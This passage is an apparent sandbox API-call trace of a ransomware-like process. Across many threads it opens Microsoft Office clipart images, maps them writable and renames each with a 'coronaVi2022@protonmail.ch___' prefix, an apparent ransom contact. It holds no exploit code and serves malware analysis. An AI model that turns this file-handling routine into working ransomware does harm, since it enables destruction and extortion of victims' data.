	[0097.184] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0097.184] CloseHandle (hObject=0xd18) returned 1
	[0097.184] GetCurrentThreadId () returned 0x1ae0
	[0097.184] FlushFileBuffers (hFile=0xd14) returned 1
	[0097.187] CloseHandle (hObject=0xd14) returned 1
	[0097.187] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101862.bmp") returned 97
	[0097.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101862.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0101862.bmp")) returned 1
	[0097.188] free (_Block=0x51f3088) 
	[0097.188] RtlExitUserThread (Status=0x0) 

Thread:
	id = 663
	os_tid = 0x1ae8

	[0097.341] _alloca_probe () returned 0x40328a
	[0097.342] GetCurrentThreadId () returned 0x1ae8
	[0097.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.bmp", dwFileAttributes=0x80) returned 1
	[0097.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd14
	[0097.343] GetFileSizeEx (in: hFile=0xd14, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=32184) returned 1
	[0097.343] CreateFileMappingA (hFile=0xd14, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xd18
	[0097.343] MapViewOfFile (hFileMappingObject=0xd18, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0097.349] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0097.350] CloseHandle (hObject=0xd18) returned 1
	[0097.350] GetCurrentThreadId () returned 0x1ae8
	[0097.350] FlushFileBuffers (hFile=0xd14) returned 1
	[0097.352] CloseHandle (hObject=0xd14) returned 1
	[0097.352] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101863.bmp") returned 97
	[0097.352] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101863.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0101863.bmp")) returned 1
	[0097.353] free (_Block=0x51f0070) 
	[0097.353] RtlExitUserThread (Status=0x0) 

Thread:
	id = 664
	os_tid = 0x1aec

	[0097.355] _alloca_probe () returned 0x40328a
	[0097.356] GetCurrentThreadId () returned 0x1aec
	[0097.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.bmp", dwFileAttributes=0x80) returned 1
	[0097.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd18
	[0097.356] GetFileSizeEx (in: hFile=0xd18, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=31968) returned 1
	[0097.356] CreateFileMappingA (hFile=0xd18, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xd1c
	[0097.356] MapViewOfFile (hFileMappingObject=0xd1c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0097.363] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0097.363] CloseHandle (hObject=0xd1c) returned 1
	[0097.363] GetCurrentThreadId () returned 0x1aec
	[0097.363] FlushFileBuffers (hFile=0xd18) returned 1
	[0097.368] CloseHandle (hObject=0xd18) returned 1
	[0097.368] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101864.bmp") returned 97
	[0097.368] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101864.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0101864.bmp")) returned 1
	[0097.369] free (_Block=0x51f3088) 
	[0097.369] RtlExitUserThread (Status=0x0) 

Thread:
	id = 666
	os_tid = 0x1af0

	[0097.466] _alloca_probe () returned 0x40328a
	[0097.467] GetCurrentThreadId () returned 0x1af0
	[0097.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.bmp", dwFileAttributes=0x80) returned 1
	[0097.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd18
	[0097.468] GetFileSizeEx (in: hFile=0xd18, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32184) returned 1
	[0097.468] CreateFileMappingA (hFile=0xd18, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xd1c
	[0097.468] MapViewOfFile (hFileMappingObject=0xd1c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0097.475] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0097.475] CloseHandle (hObject=0xd1c) returned 1
	[0097.475] GetCurrentThreadId () returned 0x1af0
	[0097.475] FlushFileBuffers (hFile=0xd18) returned 1
	[0097.477] CloseHandle (hObject=0xd18) returned 1
	[0097.477] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101865.bmp") returned 97
	[0097.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101865.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0101865.bmp")) returned 1
	[0097.478] free (_Block=0x51f4090) 
	[0097.478] RtlExitUserThread (Status=0x0) 

Thread:
	id = 667
	os_tid = 0x1af4

	[0097.480] _alloca_probe () returned 0x40328a
	[0097.481] GetCurrentThreadId () returned 0x1af4
	[0097.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.bmp", dwFileAttributes=0x80) returned 1
	[0097.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd1c
	[0097.482] GetFileSizeEx (in: hFile=0xd1c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32184) returned 1
	[0097.482] CreateFileMappingA (hFile=0xd1c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xd20
	[0097.482] MapViewOfFile (hFileMappingObject=0xd20, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0097.488] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0097.489] CloseHandle (hObject=0xd20) returned 1
	[0097.489] GetCurrentThreadId () returned 0x1af4
	[0097.489] FlushFileBuffers (hFile=0xd1c) returned 1
	[0097.491] CloseHandle (hObject=0xd1c) returned 1
	[0097.491] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101866.bmp") returned 97
	[0097.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101866.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0101866.bmp")) returned 1
	[0097.492] free (_Block=0x51f3088) 
	[0097.492] RtlExitUserThread (Status=0x0) 

Thread:
	id = 668
	os_tid = 0x1af8

	[0097.494] _alloca_probe () returned 0x40328a
	[0097.495] GetCurrentThreadId () returned 0x1af8
	[0097.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.bmp", dwFileAttributes=0x80) returned 1
	[0097.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd20
	[0097.495] GetFileSizeEx (in: hFile=0xd20, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32616) returned 1
	[0097.495] CreateFileMappingA (hFile=0xd20, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7f6f, lpName=0x0) returned 0xd24
	[0097.496] MapViewOfFile (hFileMappingObject=0xd24, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0097.502] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0097.502] CloseHandle (hObject=0xd24) returned 1
	[0097.502] GetCurrentThreadId () returned 0x1af8
	[0097.502] FlushFileBuffers (hFile=0xd20) returned 1
	[0097.505] CloseHandle (hObject=0xd20) returned 1
	[0097.505] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101867.bmp") returned 97
	[0097.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101867.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0101867.bmp")) returned 1
	[0097.506] free (_Block=0x51f0070) 
	[0097.506] RtlExitUserThread (Status=0x0) 

Thread:
	id = 669
	os_tid = 0x1afc

	[0097.520] _alloca_probe () returned 0x40328a
	[0097.520] GetCurrentThreadId () returned 0x1afc
	[0097.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.jpg", dwFileAttributes=0x80) returned 1
	[0097.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd24
	[0097.521] GetFileSizeEx (in: hFile=0xd24, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=40231) returned 1
	[0097.521] CreateFileMappingA (hFile=0xd24, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d2d, lpName=0x0) returned 0xd28
	[0097.521] MapViewOfFile (hFileMappingObject=0xd28, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0097.531] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0097.531] CloseHandle (hObject=0xd28) returned 1
	[0097.531] GetCurrentThreadId () returned 0x1afc
	[0097.531] FlushFileBuffers (hFile=0xd24) returned 1
	[0097.540] CloseHandle (hObject=0xd24) returned 1
	[0097.540] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0144773.jpg") returned 97
	[0097.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0144773.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0144773.jpg")) returned 1
	[0097.541] free (_Block=0x51f0070) 
	[0097.541] RtlExitUserThread (Status=0x0) 

Thread:
	id = 670
	os_tid = 0x1b00

	[0097.529] _alloca_probe () returned 0x40328a
	[0097.529] GetCurrentThreadId () returned 0x1b00
	[0097.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.jpg", dwFileAttributes=0x80) returned 1
	[0097.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd28
	[0097.533] GetFileSizeEx (in: hFile=0xd28, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=33657) returned 1
	[0097.533] CreateFileMappingA (hFile=0xd28, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8381, lpName=0x0) returned 0xd30
	[0097.533] MapViewOfFile (hFileMappingObject=0xd30, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0097.542] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0097.542] CloseHandle (hObject=0xd30) returned 1
	[0097.542] GetCurrentThreadId () returned 0x1b00
	[0097.542] FlushFileBuffers (hFile=0xd28) returned 1
	[0097.554] CloseHandle (hObject=0xd28) returned 1
	[0097.554] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145168.jpg") returned 97
	[0097.555] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145168.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0145168.jpg")) returned 1
	[0097.558] free (_Block=0x51f80b0) 
	[0097.558] RtlExitUserThread (Status=0x0) 

Thread:
	id = 671
	os_tid = 0x1b04

	[0097.560] _alloca_probe () returned 0x40328a
	[0097.560] GetCurrentThreadId () returned 0x1b04
	[0097.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.jpg", dwFileAttributes=0x80) returned 1
	[0097.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd30
	[0097.561] GetFileSizeEx (in: hFile=0xd30, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=61633) returned 1
	[0097.561] CreateFileMappingA (hFile=0xd30, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf0c1, lpName=0x0) returned 0xd24
	[0097.561] MapViewOfFile (hFileMappingObject=0xd24, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0097.572] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0097.573] CloseHandle (hObject=0xd24) returned 1
	[0097.573] GetCurrentThreadId () returned 0x1b04
	[0097.573] FlushFileBuffers (hFile=0xd30) returned 1
	[0097.576] CloseHandle (hObject=0xd30) returned 1
	[0097.576] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145212.jpg") returned 97
	[0097.576] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145212.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0145212.jpg")) returned 1
	[0097.577] free (_Block=0x51f5098) 
	[0097.577] RtlExitUserThread (Status=0x0) 

Thread:
	id = 672
	os_tid = 0x1b08

	[0097.769] _alloca_probe () returned 0x40328a
	[0097.769] GetCurrentThreadId () returned 0x1b08
	[0097.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.jpg", dwFileAttributes=0x80) returned 1
	[0097.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd24
	[0097.770] GetFileSizeEx (in: hFile=0xd24, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=49238) returned 1
	[0097.770] CreateFileMappingA (hFile=0xd24, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc05b, lpName=0x0) returned 0xd34
	[0097.771] MapViewOfFile (hFileMappingObject=0xd34, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0097.780] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0097.781] CloseHandle (hObject=0xd34) returned 1
	[0097.781] GetCurrentThreadId () returned 0x1b08
	[0097.781] FlushFileBuffers (hFile=0xd24) returned 1
	[0097.790] CloseHandle (hObject=0xd24) returned 1
	[0097.790] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145272.jpg") returned 97
	[0097.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145272.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0145272.jpg")) returned 1
	[0097.791] free (_Block=0x51f60a0) 
	[0097.791] RtlExitUserThread (Status=0x0) 

Thread:
	id = 673
	os_tid = 0x1b0c

	[0097.783] _alloca_probe () returned 0x40328a
	[0097.783] GetCurrentThreadId () returned 0x1b0c
	[0097.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.jpg", dwFileAttributes=0x80) returned 1
	[0097.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd38
	[0097.784] GetFileSizeEx (in: hFile=0xd38, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=21125) returned 1
	[0097.784] CreateFileMappingA (hFile=0xd38, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5289, lpName=0x0) returned 0xd3c
	[0097.784] MapViewOfFile (hFileMappingObject=0xd3c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0097.789] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0097.789] CloseHandle (hObject=0xd3c) returned 1
	[0097.789] GetCurrentThreadId () returned 0x1b0c
	[0097.789] FlushFileBuffers (hFile=0xd38) returned 1
	[0097.793] CloseHandle (hObject=0xd38) returned 1
	[0097.793] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145361.jpg") returned 97
	[0097.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145361.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0145361.jpg")) returned 1
	[0097.794] free (_Block=0x51f3088) 
	[0097.794] RtlExitUserThread (Status=0x0) 

Thread:
	id = 674
	os_tid = 0x1b10

	[0097.796] _alloca_probe () returned 0x40328a
	[0097.796] GetCurrentThreadId () returned 0x1b10
	[0097.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.jpg", dwFileAttributes=0x80) returned 1
	[0097.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd24
	[0097.801] GetFileSizeEx (in: hFile=0xd24, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=17867) returned 1
	[0097.801] CreateFileMappingA (hFile=0xd24, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45d5, lpName=0x0) returned 0xd3c
	[0097.801] MapViewOfFile (hFileMappingObject=0xd3c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0097.805] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0097.805] CloseHandle (hObject=0xd3c) returned 1
	[0097.805] GetCurrentThreadId () returned 0x1b10
	[0097.805] FlushFileBuffers (hFile=0xd24) returned 1
	[0097.868] CloseHandle (hObject=0xd24) returned 1
	[0097.868] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145373.jpg") returned 97
	[0097.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145373.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0145373.jpg")) returned 1
	[0097.882] free (_Block=0x51f3088) 
	[0097.882] RtlExitUserThread (Status=0x0) 

Thread:
	id = 675
	os_tid = 0x1b14

	[0097.807] _alloca_probe () returned 0x40328a
	[0097.807] GetCurrentThreadId () returned 0x1b14
	[0097.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.jpg", dwFileAttributes=0x80) returned 1
	[0097.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd40
	[0097.808] GetFileSizeEx (in: hFile=0xd40, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=31850) returned 1
	[0097.808] CreateFileMappingA (hFile=0xd40, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c73, lpName=0x0) returned 0xd44
	[0097.808] MapViewOfFile (hFileMappingObject=0xd44, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0097.866] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0097.866] CloseHandle (hObject=0xd44) returned 1
	[0097.866] GetCurrentThreadId () returned 0x1b14
	[0097.866] FlushFileBuffers (hFile=0xd40) returned 1
	[0097.871] CloseHandle (hObject=0xd40) returned 1
	[0097.872] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145669.jpg") returned 97
